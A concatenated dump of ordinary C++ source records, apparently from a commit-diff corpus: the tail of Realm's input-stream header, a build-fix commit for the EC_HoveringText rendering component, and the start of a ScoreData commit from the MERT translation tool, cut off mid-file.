\/\/\/ and this is some number `n` such that `n <= min(size, m)` where `m` is\n    \/\/\/ the number of bytes that could have been read from this stream before\n    \/\/\/ reaching its end. Also, `n` cannot be zero unless `m` or `size` is\n    \/\/\/ zero. The intention is that `size` should be non-zero, a the return\n    \/\/\/ value used as the end-of-input indicator.\n    \/\/\/\n    \/\/\/ Implementations are only allowed to block (put the calling thread to\n    \/\/\/ sleep) up until the point in time where the first byte can be made\n    \/\/\/ availble.\n    virtual size_t read(char* buffer, size_t size) = 0;\n\n    virtual ~InputStream() noexcept {}\n};\n\n\nclass SimpleInputStream: public InputStream {\npublic:\n    SimpleInputStream(const char* data, size_t size) noexcept:\n        m_ptr(data),\n        m_end(data + size)\n    {\n    }\n    size_t read(char* buffer, size_t size) override\n    {\n        size_t n = std::min(size, size_t(m_end-m_ptr));\n        const char* begin = m_ptr;\n        m_ptr += n;\n        const char* end = m_ptr;\n        std::copy(begin, end, buffer);\n        return n;\n    }\nprivate:\n    const char* m_ptr;\n    const char* const m_end;\n};\n\n\nclass NoCopyInputStream {\npublic:\n    \/\/\/ \\return the number of accessible bytes.\n    \/\/\/ A value of zero indicates end-of-input.\n    \/\/\/ For non-zero return value, \\a begin and \\a end are\n    \/\/\/ updated to reflect the start and limit of a\n    \/\/\/ contiguous memory chunk.\n    virtual size_t next_block(const char*& begin, const char*& end) = 0;\n\n    virtual ~NoCopyInputStream() noexcept {}\n};\n\n\nclass NoCopyInputStreamAdaptor: public NoCopyInputStream {\npublic:\n    NoCopyInputStreamAdaptor(InputStream& in, char* buffer, size_t buffer_size) noexcept:\n        m_in(in),\n        m_buffer(buffer),\n        m_buffer_size(buffer_size)\n    {\n    }\n    size_t next_block(const char*& begin, const char*& end) override\n    {\n        size_t n = m_in.read(m_buffer, m_buffer_size);\n        begin = m_buffer;\n        end = m_buffer + n;\n        return n;\n    }\nprivate:\n    InputStream& m_in;\n    char* m_buffer;\n    size_t m_buffer_size;\n};\n\n\nclass SimpleNoCopyInputStream: public NoCopyInputStream {\npublic:\n    SimpleNoCopyInputStream(const char* data, size_t size):\n        m_data(data),\n        m_size(size)\n    {\n    }\n\n    size_t next_block(const char*& begin, const char*& end) override\n    {\n        if (m_size == 0)\n            return 0;\n        size_t size = m_size;\n        begin = m_data;\n        end = m_data + size;\n        m_size = 0;\n        return size;\n    }\n\nprivate:\n    const char* m_data;\n    size_t m_size;\n};\n\nclass MultiLogNoCopyInputStream: public NoCopyInputStream {\npublic:\n    MultiLogNoCopyInputStream(const BinaryData* logs_begin, const BinaryData* logs_end):\n        m_logs_begin(logs_begin), m_logs_end(logs_end)\n    {\n        if (m_logs_begin != m_logs_end)\n            m_curr_buf_remaining_size = m_logs_begin->size();\n    }\n\n    size_t read(char* buffer, size_t size)\n    {\n        if (m_logs_begin == m_logs_end)\n            return 0;\n        for (;;) {\n            if (m_curr_buf_remaining_size > 0) {\n                size_t offset = m_logs_begin->size() - m_curr_buf_remaining_size;\n                const char* data = m_logs_begin->data() + offset;\n                size_t size_2 = std::min(m_curr_buf_remaining_size, size);\n                m_curr_buf_remaining_size -= size_2;\n                \/\/ FIXME: Eliminate the need for copying by changing the API of\n                \/\/ Replication::InputStream such that blocks can be handed over\n                \/\/ without copying. This is a straight forward change, but the\n                \/\/ result is going to be more complicated and less conventional.\n                std::copy(data, data + size_2, buffer);\n                return size_2;\n            }\n\n            ++m_logs_begin;\n            if (m_logs_begin == m_logs_end)\n                return 0;\n            m_curr_buf_remaining_size = m_logs_begin->size();\n        }\n    }\n\n    size_t next_block(const char*& begin, const char*& end) override\n    {\n        while (m_logs_begin < m_logs_end) {\n            size_t result = m_logs_begin->size();\n            const char* data = m_logs_begin->data();\n            m_logs_begin++;\n            if (result == 0)\n                continue; \/\/ skip empty blocks\n            begin = data;\n            end = data + result;\n            return result;\n        }\n        return 0;\n    }\n\nprivate:\n    const BinaryData* m_logs_begin;\n    const BinaryData* m_logs_end;\n    size_t m_curr_buf_remaining_size;\n};\n\n\nclass ChangesetInputStream: public NoCopyInputStream {\npublic:\n    using version_type = History::version_type;\n    ChangesetInputStream(History&, version_type begin_version, version_type end_version);\n    size_t next_block(const char*& begin, const char*& end) override;\nprivate:\n    History& m_history;\n    version_type m_begin_version, m_end_version;\n    BinaryData m_changesets[8]; \/\/ Buffer\n    BinaryData* m_changesets_begin = 0;\n    BinaryData* m_changesets_end = 0;\n};\n\n\ninline ChangesetInputStream::ChangesetInputStream(History& hist, version_type begin_version,\n                                                  version_type end_version):\n    m_history(hist),\n    m_begin_version(begin_version),\n    m_end_version(end_version)\n{\n}\n\ninline size_t ChangesetInputStream::next_block(const char*& begin, const char*& end)\n{\n    for (;;) {\n        if (REALM_UNLIKELY(m_changesets_begin == m_changesets_end)) {\n            if (m_begin_version == m_end_version)\n                return 0; \/\/ End of input\n            size_t n = sizeof m_changesets \/ sizeof m_changesets[0];\n            version_type avail = m_end_version - m_begin_version;\n            if (n > avail)\n                n = size_t(avail);\n            version_type end_version = m_begin_version + n;\n            m_history.get_changesets(m_begin_version, end_version, m_changesets);\n            m_begin_version = end_version;\n            m_changesets_begin = m_changesets;\n            m_changesets_end = m_changesets_begin + n;\n        }\n\n        BinaryData changeset = *m_changesets_begin++;\n        if (changeset.size() > 0) {\n            begin = changeset.data();\n            end   = changeset.data() + changeset.size();\n            return changeset.size();\n        }\n    }\n}\n\n\n} \/\/ namespace _impl\n} \/\/ namespace realm\n\n#endif \/\/ REALM_IMPL_INPUT_STREAM_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   EC_HoveringText.cpp\n *  @brief  Shows a hovering text attached to an entity.\n *\/\n\n#define OGRE_INTEROP\n\n#include \"DebugOperatorNew.h\"\n\n#include \"EC_HoveringText.h\"\n#include \"Renderer.h\"\n#include \"EC_Placeable.h\"\n#include \"Entity.h\"\n#include \"LoggingFunctions.h\"\n#include \"Scene.h\"\n#include \"Framework.h\"\n#include \"OgreRenderingModule.h\"\n#include \"OgreWorld.h\"\n#include \"OgreMaterialUtils.h\"\n#include \"AssetAPI.h\"\n#include \"TextureAsset.h\"\n\n#include <Ogre.h>\n#include <QFile>\n#include <QPainter>\n#include <QTimer>\n#include <QTimeLine>\n\n#include \"MemoryLeakCheck.h\"\n\nEC_HoveringText::EC_HoveringText(Scene* scene) :\n    IComponent(scene),\n    font_(QFont(\"Arial\", 100)),\n    textColor_(Qt::black),\n    billboardSet_(0),\n    billboard_(0),\n    usingGrad(this, \"Use Gradient\", false),\n    text(this, \"Text\"),\n    font(this, \"Font\", \"Arial\"),\n    fontColor(this, \"Font Color\"),\n    fontSize(this, \"Font Size\", 100),\n    backgroundColor(this, \"Background Color\", Color(1.0f,1.0f,1.0f,0.0f)),\n    position(this, \"Position\", float3(0.0f, 0.0f, 0.0f)),\n    gradStart(this, \"Gradient Start\", Color(0.0f,0.0f,0.0f,1.0f)),\n    gradEnd(this, \"Gradient End\", Color(1.0f,1.0f,1.0f,1.0f)),\n    borderColor(this, \"Border Color\", Color(0.0f,0.0f,0.0f,0.0f)),\n    borderThickness(this, \"Border Thickness\", 0.0),\n    overlayAlpha(this, \"Overlay Alpha\", 1.0),\n    width(this, \"Width\", 1.0),\n    height(this, \"Height\", 1.0),\n    texWidth(this, \"Texture Width\", 256),\n    texHeight(this, \"Texture Height\", 256),\n    cornerRadius(this, \"Corner radius\", float2(20.0, 20.0))\n{\n    if (scene)\n        world_ = scene->GetWorld<OgreWorld>();\n}\n\nEC_HoveringText::~EC_HoveringText()\n{\n    if (texture_.get() != 0)\n    {\n        AssetAPI* asset = framework->Asset();\n        asset->ForgetAsset(texture_,false);\n    }\n    Destroy();\n}\n\nvoid EC_HoveringText::Destroy()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (!world_.expired())\n    {\n        Ogre::SceneManager* sceneMgr = world_.lock()->GetSceneManager();\n        \n        try{\n        Ogre::MaterialManager::getSingleton().remove(materialName_);\n        } catch(...)\n        {\n        }\n        try{\n        if (billboardSet_ && billboard_)\n            billboardSet_->removeBillboard(billboard_);\n        } catch(...)\n        {\n        }\n        try{\n        \n        if (billboardSet_)\n        {\n            sceneMgr->destroyBillboardSet(billboardSet_);\n        }\n\n        } catch(...)\n        {\n        }\n    }\n\n    billboard_ = 0;\n    billboardSet_ = 0;\n    textureName_ = \"\";\n    materialName_ = \"\";\n}\n\nvoid EC_HoveringText::SetPosition(const float3& position)\n{\n    if (!ViewEnabled())\n        return;\n\n    if (billboard_)\n        billboard_->setPosition(position);\n}\n\nvoid EC_HoveringText::SetFont(const QFont &font)\n{\n    font_ = font;\n    Redraw();\n}\n\nvoid EC_HoveringText::SetTextColor(const QColor &color)\n{\n    textColor_ = color;\n    Redraw();\n}\n\nvoid EC_HoveringText::SetBackgroundGradient(const QColor &start_color, const QColor &end_color)\n{\n    bg_grad_.setColorAt(0.0, start_color);\n    bg_grad_.setColorAt(1.0, end_color);\n}\n\nvoid EC_HoveringText::Show()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (billboardSet_)\n        billboardSet_->setVisible(true);\n}\n\nvoid EC_HoveringText::Hide()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (billboardSet_)\n        billboardSet_->setVisible(false);\n}\n\nvoid EC_HoveringText::SetOverlayAlpha(float alpha)\n{\n    Ogre::MaterialManager &mgr = Ogre::MaterialManager::getSingleton();\n    Ogre::MaterialPtr material = mgr.getByName(materialName_);\n    if (!material.get() || material->getNumTechniques() < 1 || material->getTechnique(0)->getNumPasses() < 1 || material->getTechnique(0)->getPass(0)->getNumTextureUnitStates() < 1)\n        return;\n\n    material->getTechnique(0)->getPass(0)->getTextureUnitState(0)->setAlphaOperation(\n        Ogre::LBX_BLEND_MANUAL, Ogre::LBS_TEXTURE, Ogre::LBS_MANUAL, 1.0, 0.0, alpha);\n}\n\nvoid EC_HoveringText::SetBillboardSize(float width, float height)\n{\n    if (billboard_)\n        billboard_->setDimensions(width, height);\n}\n\nbool EC_HoveringText::IsVisible() const\n{\n    if (!ViewEnabled())\n        return false;\n\n    if (billboardSet_)\n        return billboardSet_->isVisible();\n    else\n        return false;\n}\n\nvoid EC_HoveringText::ShowMessage(const QString &text)\n{\n    if (!ViewEnabled())\n        return;\n    if (world_.expired())\n        return;\n    \n    OgreWorldPtr world = world_.lock();\n    Ogre::SceneManager *scene = world->GetSceneManager();\n    assert(scene);\n    if (!scene)\n        return;\n\n    \/\/Scene::Entity *entity = ParentEntity();\n    Entity* entity = ParentEntity();\n    assert(entity);\n    if (!entity)\n        return;\n\n    EC_Placeable *node = entity->GetComponent<EC_Placeable>().get();\n    if (!node)\n        return;\n\n    Ogre::SceneNode *sceneNode = node->GetSceneNode();\n    assert(sceneNode);\n    if (!sceneNode)\n        return;\n\n    \/\/ Create billboard if it doesn't exist.\n    if (!billboardSet_)\n    {\n        billboardSet_ = scene->createBillboardSet(world->GetUniqueObjectName(\"EC_HoveringText\"), 1);\n        assert(billboardSet_);\n\n        materialName_ = world->GetUniqueObjectName(\"EC_HoveringText_material\");\n        OgreRenderer::CloneMaterial(\"HoveringText\", materialName_);\n        billboardSet_->setMaterialName(materialName_);\n        billboardSet_->setCastShadows(false);\n\n        sceneNode->attachObject(billboardSet_);\n    }\n\n    if (billboardSet_ && !billboard_)\n    {\n        billboard_ = billboardSet_->createBillboard(Ogre::Vector3(0, 0, 0.7f));\n\n        SetBillboardSize(width.Get(), height.Get());\n        SetPosition(position.Get());\n    }\n\n    Redraw();\n}\n\nvoid EC_HoveringText::Redraw()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (world_.expired() || !billboardSet_ || !billboard_)\n        return;\n\n    bool textEmpty = text.Get().isEmpty();\n    \n    try\n    {\n        if (texture_.get() == 0)\n        {       \n            AssetAPI* asset = framework->Asset();\n\n            textureName_ = asset->GenerateUniqueAssetName(\"tex\", \"EC_HoveringText_\").toStdString();\n            QString name(textureName_.c_str());\n            texture_  = boost::dynamic_pointer_cast<TextureAsset>(asset->CreateNewAsset(\"Texture\", name));  \n            \n            assert(texture_);\n            \n            if (texture_ == 0)\n            {\n                LogError(\"Failed to create texture \" + textureName_);\n                return;\n            }\n        }       \n       \n        QBrush brush(backgroundColor.Get());\n       \n        if (usingGrad.Get())\n        {   \n            QRect rect(0,0,texWidth.Get(), texHeight.Get());\n            bg_grad_.setStart(QPointF(0,rect.top()));\n            bg_grad_.setFinalStop(QPointF(0,rect.bottom()));\n            brush = QBrush(bg_grad_);\n        }\n\n        QColor borderCol;\n        Color col = borderColor.Get();\n        borderCol.setRgbF(col.r, col.g, col.b, col.a);\n\n        QPen borderPen;\n        borderPen.setColor(borderCol);\n        borderPen.setWidthF(borderThickness.Get());\n        \n        float2 corners =  cornerRadius.Get();\n\n        if (!textEmpty)\n        {\n            \/\/ Disable mipmapping, as Ogre seems to bug with it\n            texture_->SetContentsDrawText(texWidth.Get(), \n                                    texHeight.Get(), \n                                    text.Get(), \n                                    textColor_, \n                                    font_, \n                                    brush, \n                                    borderPen, Qt::AlignCenter | Qt::TextWordWrap, false, false, corners.x, corners.y);\n        }\n        else\n            texture_->SetContentsDrawText(texWidth.Get(), texHeight.Get(), text.Get(), textColor_, font_, QBrush(), QPen(), Qt::AlignCenter | Qt::TextWordWrap, false, false, 0.0f, 0.0f);\n    }\n    catch(Ogre::Exception &e)\n    {\n        LogError(\"Failed to create texture \" + textureName_  + \": \" + std::string(e.what()));\n        return;\n    }\n\n    \/\/ Set new texture for the material\n    assert(!materialName_.empty());\n    if (!materialName_.empty())\n    {\n        Ogre::MaterialManager &mgr = Ogre::MaterialManager::getSingleton();\n        Ogre::MaterialPtr material = mgr.getByName(materialName_);\n        assert(material.get());\n        OgreRenderer::SetTextureUnitOnMaterial(material, textureName_);\n    }\n}\n\nvoid EC_HoveringText::AttributesChanged()\n{\n    if (font.ValueChanged() || fontSize.ValueChanged())\n    {\n        SetFont(QFont(font.Get(), fontSize.Get()));\n    }\n    if (fontColor.ValueChanged())\n    {\n        Color col = fontColor.Get();\n        textColor_.setRgbF(col.r, col.g, col.b, col.a);\n    }\n    if (position.ValueChanged())\n    {\n        SetPosition(position.Get());\n    }\n    if (gradStart.ValueChanged() || gradEnd.ValueChanged())\n    {\n        QColor colStart;\n        QColor colEnd;\n        Color col = gradStart.Get();\n        colStart.setRgbF(col.r, col.g, col.b);\n        col = gradEnd.Get();\n        colEnd.setRgbF(col.r, col.g, col.b);\n        SetBackgroundGradient(colStart, colEnd);\n    }\n    if (overlayAlpha.ValueChanged())\n        SetOverlayAlpha(overlayAlpha.Get());\n    if (width.ValueChanged() || height.ValueChanged())\n        SetBillboardSize(width.Get(), height.Get());\n\n    \/\/ Changes to the following attributes require a (expensive) repaint of the texture on the CPU side.\n    bool repaint = text.ValueChanged() || font.ValueChanged() || fontSize.ValueChanged() || fontColor.ValueChanged()\n        || backgroundColor.ValueChanged() || borderColor.ValueChanged() || borderThickness.ValueChanged() || usingGrad.ValueChanged()\n        || gradStart.ValueChanged() || gradEnd.ValueChanged() || texWidth.ValueChanged() || texHeight.ValueChanged()\n        || cornerRadius.ValueChanged();\n\n    \/\/ Changes to the following attributes do not alter the texture contents, and don't require a repaint:\n    \/\/ position, overlayAlpha, width, height.\n\n    \/\/ Repaint the new text with new appearance.\n    if (repaint)\n        ShowMessage(text.Get());\n}<commit_msg>Fix build for EC_HoveringText.cpp.<commit_after>\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   EC_HoveringText.cpp\n *  @brief  Shows a hovering text attached to an entity.\n *\/\n\n#define MATH_OGRE_INTEROP\n\n#include \"DebugOperatorNew.h\"\n\n#include \"EC_HoveringText.h\"\n#include \"Renderer.h\"\n#include \"EC_Placeable.h\"\n#include \"Entity.h\"\n#include \"LoggingFunctions.h\"\n#include \"Scene.h\"\n#include \"Framework.h\"\n#include \"OgreRenderingModule.h\"\n#include \"OgreWorld.h\"\n#include \"OgreMaterialUtils.h\"\n#include \"AssetAPI.h\"\n#include \"TextureAsset.h\"\n\n#include <Ogre.h>\n#include <QFile>\n#include <QPainter>\n#include <QTimer>\n#include <QTimeLine>\n\n#include \"MemoryLeakCheck.h\"\n\nEC_HoveringText::EC_HoveringText(Scene* scene) :\n    IComponent(scene),\n    font_(QFont(\"Arial\", 100)),\n    textColor_(Qt::black),\n    billboardSet_(0),\n    billboard_(0),\n    usingGrad(this, \"Use Gradient\", false),\n    text(this, \"Text\"),\n    font(this, \"Font\", \"Arial\"),\n    fontColor(this, \"Font Color\"),\n    fontSize(this, \"Font Size\", 100),\n    backgroundColor(this, \"Background Color\", Color(1.0f,1.0f,1.0f,0.0f)),\n    position(this, \"Position\", float3(0.0f, 0.0f, 0.0f)),\n    gradStart(this, \"Gradient Start\", Color(0.0f,0.0f,0.0f,1.0f)),\n    gradEnd(this, \"Gradient End\", Color(1.0f,1.0f,1.0f,1.0f)),\n    borderColor(this, \"Border Color\", Color(0.0f,0.0f,0.0f,0.0f)),\n    borderThickness(this, \"Border Thickness\", 0.0),\n    overlayAlpha(this, \"Overlay Alpha\", 1.0),\n    width(this, \"Width\", 1.0),\n    height(this, \"Height\", 1.0),\n    texWidth(this, \"Texture Width\", 256),\n    texHeight(this, \"Texture Height\", 256),\n    cornerRadius(this, \"Corner radius\", float2(20.0, 20.0))\n{\n    if (scene)\n        world_ = scene->GetWorld<OgreWorld>();\n}\n\nEC_HoveringText::~EC_HoveringText()\n{\n    if (texture_.get() != 0)\n    {\n        AssetAPI* asset = framework->Asset();\n        asset->ForgetAsset(texture_,false);\n    }\n    Destroy();\n}\n\nvoid EC_HoveringText::Destroy()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (!world_.expired())\n    {\n        Ogre::SceneManager* sceneMgr = world_.lock()->GetSceneManager();\n        \n        try{\n        Ogre::MaterialManager::getSingleton().remove(materialName_);\n        } catch(...)\n        {\n        }\n        try{\n        if (billboardSet_ && billboard_)\n            billboardSet_->removeBillboard(billboard_);\n        } catch(...)\n        {\n        }\n        try{\n        \n        if (billboardSet_)\n        {\n            sceneMgr->destroyBillboardSet(billboardSet_);\n        }\n\n        } catch(...)\n        {\n        }\n    }\n\n    billboard_ = 0;\n    billboardSet_ = 0;\n    textureName_ = \"\";\n    materialName_ = \"\";\n}\n\nvoid EC_HoveringText::SetPosition(const float3& position)\n{\n    if (!ViewEnabled())\n        return;\n\n    if (billboard_)\n        billboard_->setPosition(position);\n}\n\nvoid EC_HoveringText::SetFont(const QFont &font)\n{\n    font_ = font;\n    Redraw();\n}\n\nvoid EC_HoveringText::SetTextColor(const QColor &color)\n{\n    textColor_ = color;\n    Redraw();\n}\n\nvoid EC_HoveringText::SetBackgroundGradient(const QColor &start_color, const QColor &end_color)\n{\n    bg_grad_.setColorAt(0.0, start_color);\n    bg_grad_.setColorAt(1.0, end_color);\n}\n\nvoid EC_HoveringText::Show()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (billboardSet_)\n        billboardSet_->setVisible(true);\n}\n\nvoid EC_HoveringText::Hide()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (billboardSet_)\n        billboardSet_->setVisible(false);\n}\n\nvoid EC_HoveringText::SetOverlayAlpha(float alpha)\n{\n    Ogre::MaterialManager &mgr = Ogre::MaterialManager::getSingleton();\n    Ogre::MaterialPtr material = mgr.getByName(materialName_);\n    if (!material.get() || material->getNumTechniques() < 1 || material->getTechnique(0)->getNumPasses() < 1 || material->getTechnique(0)->getPass(0)->getNumTextureUnitStates() < 1)\n        return;\n\n    material->getTechnique(0)->getPass(0)->getTextureUnitState(0)->setAlphaOperation(\n        Ogre::LBX_BLEND_MANUAL, Ogre::LBS_TEXTURE, Ogre::LBS_MANUAL, 1.0, 0.0, alpha);\n}\n\nvoid EC_HoveringText::SetBillboardSize(float width, float height)\n{\n    if (billboard_)\n        billboard_->setDimensions(width, height);\n}\n\nbool EC_HoveringText::IsVisible() const\n{\n    if (!ViewEnabled())\n        return false;\n\n    if (billboardSet_)\n        return billboardSet_->isVisible();\n    else\n        return false;\n}\n\nvoid EC_HoveringText::ShowMessage(const QString &text)\n{\n    if (!ViewEnabled())\n        return;\n    if (world_.expired())\n        return;\n    \n    OgreWorldPtr world = world_.lock();\n    Ogre::SceneManager *scene = world->GetSceneManager();\n    assert(scene);\n    if (!scene)\n        return;\n\n    \/\/Scene::Entity *entity = ParentEntity();\n    Entity* entity = ParentEntity();\n    assert(entity);\n    if (!entity)\n        return;\n\n    EC_Placeable *node = entity->GetComponent<EC_Placeable>().get();\n    if (!node)\n        return;\n\n    Ogre::SceneNode *sceneNode = node->GetSceneNode();\n    assert(sceneNode);\n    if (!sceneNode)\n        return;\n\n    \/\/ Create billboard if it doesn't exist.\n    if (!billboardSet_)\n    {\n        billboardSet_ = scene->createBillboardSet(world->GetUniqueObjectName(\"EC_HoveringText\"), 1);\n        assert(billboardSet_);\n\n        materialName_ = world->GetUniqueObjectName(\"EC_HoveringText_material\");\n        OgreRenderer::CloneMaterial(\"HoveringText\", materialName_);\n        billboardSet_->setMaterialName(materialName_);\n        billboardSet_->setCastShadows(false);\n\n        sceneNode->attachObject(billboardSet_);\n    }\n\n    if (billboardSet_ && !billboard_)\n    {\n        billboard_ = billboardSet_->createBillboard(Ogre::Vector3(0, 0, 0.7f));\n\n        SetBillboardSize(width.Get(), height.Get());\n        SetPosition(position.Get());\n    }\n\n    Redraw();\n}\n\nvoid EC_HoveringText::Redraw()\n{\n    if (!ViewEnabled())\n        return;\n\n    if (world_.expired() || !billboardSet_ || !billboard_)\n        return;\n\n    bool textEmpty = text.Get().isEmpty();\n    \n    try\n    {\n        if (texture_.get() == 0)\n        {       \n            AssetAPI* asset = framework->Asset();\n\n            textureName_ = asset->GenerateUniqueAssetName(\"tex\", \"EC_HoveringText_\").toStdString();\n            QString name(textureName_.c_str());\n            texture_  = boost::dynamic_pointer_cast<TextureAsset>(asset->CreateNewAsset(\"Texture\", name));  \n            \n            assert(texture_);\n            \n            if (texture_ == 0)\n            {\n                LogError(\"Failed to create texture \" + textureName_);\n                return;\n            }\n        }       \n       \n        QBrush brush(backgroundColor.Get());\n       \n        if (usingGrad.Get())\n        {   \n            QRect rect(0,0,texWidth.Get(), texHeight.Get());\n            bg_grad_.setStart(QPointF(0,rect.top()));\n            bg_grad_.setFinalStop(QPointF(0,rect.bottom()));\n            brush = QBrush(bg_grad_);\n        }\n\n        QColor borderCol;\n        Color col = borderColor.Get();\n        borderCol.setRgbF(col.r, col.g, col.b, col.a);\n\n        QPen borderPen;\n        borderPen.setColor(borderCol);\n        borderPen.setWidthF(borderThickness.Get());\n        \n        float2 corners =  cornerRadius.Get();\n\n        if (!textEmpty)\n        {\n            \/\/ Disable mipmapping, as Ogre seems to bug with it\n            texture_->SetContentsDrawText(texWidth.Get(), \n                                    texHeight.Get(), \n                                    text.Get(), \n                                    textColor_, \n                                    font_, \n                                    brush, \n                                    borderPen, Qt::AlignCenter | Qt::TextWordWrap, false, false, corners.x, corners.y);\n        }\n        else\n            texture_->SetContentsDrawText(texWidth.Get(), texHeight.Get(), text.Get(), textColor_, font_, QBrush(), QPen(), Qt::AlignCenter | Qt::TextWordWrap, false, false, 0.0f, 0.0f);\n    }\n    catch(Ogre::Exception &e)\n    {\n        LogError(\"Failed to create texture \" + textureName_  + \": \" + std::string(e.what()));\n        return;\n    }\n\n    \/\/ Set new texture for the material\n    assert(!materialName_.empty());\n    if (!materialName_.empty())\n    {\n        Ogre::MaterialManager &mgr = Ogre::MaterialManager::getSingleton();\n        Ogre::MaterialPtr material = mgr.getByName(materialName_);\n        assert(material.get());\n        OgreRenderer::SetTextureUnitOnMaterial(material, textureName_);\n    }\n}\n\nvoid EC_HoveringText::AttributesChanged()\n{\n    if (font.ValueChanged() || fontSize.ValueChanged())\n    {\n        SetFont(QFont(font.Get(), fontSize.Get()));\n    }\n    if (fontColor.ValueChanged())\n    {\n        Color col = fontColor.Get();\n        textColor_.setRgbF(col.r, col.g, col.b, col.a);\n    }\n    if (position.ValueChanged())\n    {\n        SetPosition(position.Get());\n    }\n    if (gradStart.ValueChanged() || gradEnd.ValueChanged())\n    {\n        QColor colStart;\n        QColor colEnd;\n        Color col = gradStart.Get();\n        colStart.setRgbF(col.r, col.g, col.b);\n        col = gradEnd.Get();\n        colEnd.setRgbF(col.r, col.g, col.b);\n        SetBackgroundGradient(colStart, colEnd);\n    }\n    if (overlayAlpha.ValueChanged())\n        SetOverlayAlpha(overlayAlpha.Get());\n    if (width.ValueChanged() || height.ValueChanged())\n        SetBillboardSize(width.Get(), height.Get());\n\n    \/\/ Changes to the following attributes require a (expensive) repaint of the texture on the CPU side.\n    bool repaint = text.ValueChanged() || font.ValueChanged() || fontSize.ValueChanged() || fontColor.ValueChanged()\n        || backgroundColor.ValueChanged() || borderColor.ValueChanged() || borderThickness.ValueChanged() || usingGrad.ValueChanged()\n        || gradStart.ValueChanged() || gradEnd.ValueChanged() || texWidth.ValueChanged() || texHeight.ValueChanged()\n        || cornerRadius.ValueChanged();\n\n    \/\/ Changes to the following attributes do not alter the texture contents, and don't require a repaint:\n    \/\/ position, overlayAlpha, width, height.\n\n    \/\/ Repaint the new text with new appearance.\n    if (repaint)\n        ShowMessage(text.Get());\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n *  ScoreData.cpp\n *  mert - Minimum Error Rate Training\n *\n *  Created by Nicola Bertoldi on 13\/05\/08.\n *\n *\/\n\n#include \"ScoreData.h\"\n#include \"Scorer.h\"\n#include \"Util.h\"\n#include \"FileStream.h\"\n\nScoreData::ScoreData(Scorer& ptr):\n  theScorer(&ptr)\n{\n  score_type = theScorer->getName();\n  \/\/ This is not dangerous: we don't use the this pointer in SetScoreData.\n  theScorer->setScoreData(this);\n  number_of_scores = theScorer->NumberOfScores();\n  \/\/ TRACE_ERR(\"ScoreData: number_of_scores: \" << number_of_scores << std::endl);\n}\n\nvoid ScoreData::save(std::ofstream& outFile, bool bin)\n{\n  for (scoredata_t::iterator i = array_.begin(); i !=array_.end(); i++) {\n    i->save(outFile, score_type, bin);\n  }\n}\n\nvoid ScoreData::save(const std::string &file, bool bin)\n{\n  if (file.empty()) return;\n  TRACE_ERR(\"saving the array into \" << file << std::endl);\n\n  \/\/ matches a stream with a file. Opens the file.\n  std::ofstream outFile(file.c_str(), std::ios::out);\n\n  ScoreStats entry;\n\n  save(outFile, bin);\n\n  outFile.close();\n}\n\nvoid ScoreData::load(ifstream& inFile)\n{\n  ScoreArray entry;\n\n  while (!inFile.eof()) {\n\n    if (!inFile.good()) {\n      std::cerr << \"ERROR ScoreData::load inFile.good()\" << std::endl;\n    }\n\n    entry.clear();\n    entry.load(inFile);\n\n    if (entry.size() == 0) {\n      break;\n    }\n    add(entry);\n  }\n}\n\n\nvoid ScoreData::load(const std::string &file)\n{\n  TRACE_ERR(\"loading score data from \" << file << std::endl);\n\n  inputfilestream inFile(file); \/\/ matches a stream with a file. Opens the file\n\n  if (!inFile) {\n    throw runtime_error(\"Unable to open score file: \" + file);\n  }\n\n  load((ifstream&) inFile);\n\n  inFile.close();\n}\n\n\nvoid ScoreData::add(ScoreArray& e)\n{\n  if (exists(e.getIndex())) { \/\/ array at position e.getIndex() already exists\n    \/\/enlarge array at position e.getIndex()\n    size_t pos = getIndex(e.getIndex());\n    array_.at(pos).merge(e);\n  } else {\n    array_.push_back(e);\n    setIndex();\n  }\n}\n\nvoid ScoreData::add(const ScoreStats& e, const std::string& sent_idx)\n{\n  if (exists(sent_idx)) { \/\/ array at position e.getIndex() already exists\n    \/\/ Enlarge array at position e.getIndex()\n    size_t pos = getIndex(sent_idx);\n    \/\/          TRACE_ERR(\"Inserting in array \" << sent_idx << std::endl);\n    array_.at(pos).add(e);\n    \/\/          TRACE_ERR(\"size: \" << size() << \" -> \" << a.size() << std::endl);\n  } else {\n    \/\/          TRACE_ERR(\"Creating a new entry in the array\" << std::endl);\n    ScoreArray a;\n    a.NumberOfScores(number_of_scores);\n    a.add(e);\n    a.setIndex(sent_idx);\n    add(a);\n    \/\/          TRACE_ERR(\"size: \" << size() << \" -> \" << a.size() << std::endl);\n  }\n}\n\nbool ScoreData::check_consistency() const\n{\n  if (array_.size() == 0)\n    return true;\n\n  for (scoredata_t::const_iterator i = array_.begin(); i != array_.end(); ++i)\n    if (!i->check_consistency()) return false;\n\n  return true;\n}\n\nvoid ScoreData::setIndex()\n{\n  size_t j=0;\n  for (scoredata_t::iterator i = array_.begin(); i !=array_.end(); i++) {\n    idx2arrayname_[j]=i->getIndex();\n    arrayname2idx_[i->getIndex()]=j;\n    j++;\n  }\n}\n<commit_msg>Fixed quadratic time when adding ScoreStats to ScoreData<commit_after>\/*\n *  ScoreData.cpp\n *  mert - Minimum Error Rate Training\n *\n *  Created by Nicola Bertoldi on 13\/05\/08.\n *\n *\/\n\n#include \"ScoreData.h\"\n#include \"Scorer.h\"\n#include \"Util.h\"\n#include \"FileStream.h\"\n\nScoreData::ScoreData(Scorer& ptr):\n  theScorer(&ptr)\n{\n  score_type = theScorer->getName();\n  \/\/ This is not dangerous: we don't use the this pointer in SetScoreData.\n  theScorer->setScoreData(this);\n  number_of_scores = theScorer->NumberOfScores();\n  \/\/ TRACE_ERR(\"ScoreData: number_of_scores: \" << number_of_scores << std::endl);\n}\n\nvoid ScoreData::save(std::ofstream& outFile, bool bin)\n{\n  for (scoredata_t::iterator i = array_.begin(); i !=array_.end(); i++) {\n    i->save(outFile, score_type, bin);\n  }\n}\n\nvoid ScoreData::save(const std::string &file, bool bin)\n{\n  if (file.empty()) return;\n  TRACE_ERR(\"saving the array into \" << file << std::endl);\n\n  \/\/ matches a stream with a file. Opens the file.\n  